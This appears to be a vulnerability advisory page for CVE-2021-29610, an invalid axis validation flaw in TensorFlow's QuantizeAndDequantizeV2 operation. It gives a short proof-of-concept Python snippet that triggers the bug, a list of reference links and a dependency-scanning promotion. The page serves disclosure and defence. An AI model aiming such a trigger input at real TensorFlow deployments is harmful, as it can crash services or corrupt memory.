CVE-2021-29610: Invalid validation in `QuantizeAndDequantizeV2`
(updated )
The validation in tf.raw_ops.QuantizeAndDequantizeV2 allows invalid values for axis argument:
import tensorflow as tf
input_tensor = tf.constant([0.0], shape=[1], dtype=float)
input_min = tf.constant(-10.0)
input_max = tf.constant(-10.0)
tf.raw_ops.QuantizeAndDequantizeV2(
input=input_tensor, input_min=input_min, input_max=input_max,
signed_input=False, num_bits=1, range_given=False, round_mode='HALF_TO_EVEN',
narrow_range=False, axis=-2)
References
- github.com/advisories/GHSA-mq5c-prh3-3f3h
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-538.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-736.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-247.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/c5b0d5f8ac19888e46ca14b0e27562e7fbbee9a9
- github.com/tensorflow/tensorflow/security/advisories/GHSA-mq5c-prh3-3f3h
- nvd.nist.gov/vuln/detail/CVE-2021-29610
Code Behaviors & Features
Detect and mitigate CVE-2021-29610 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →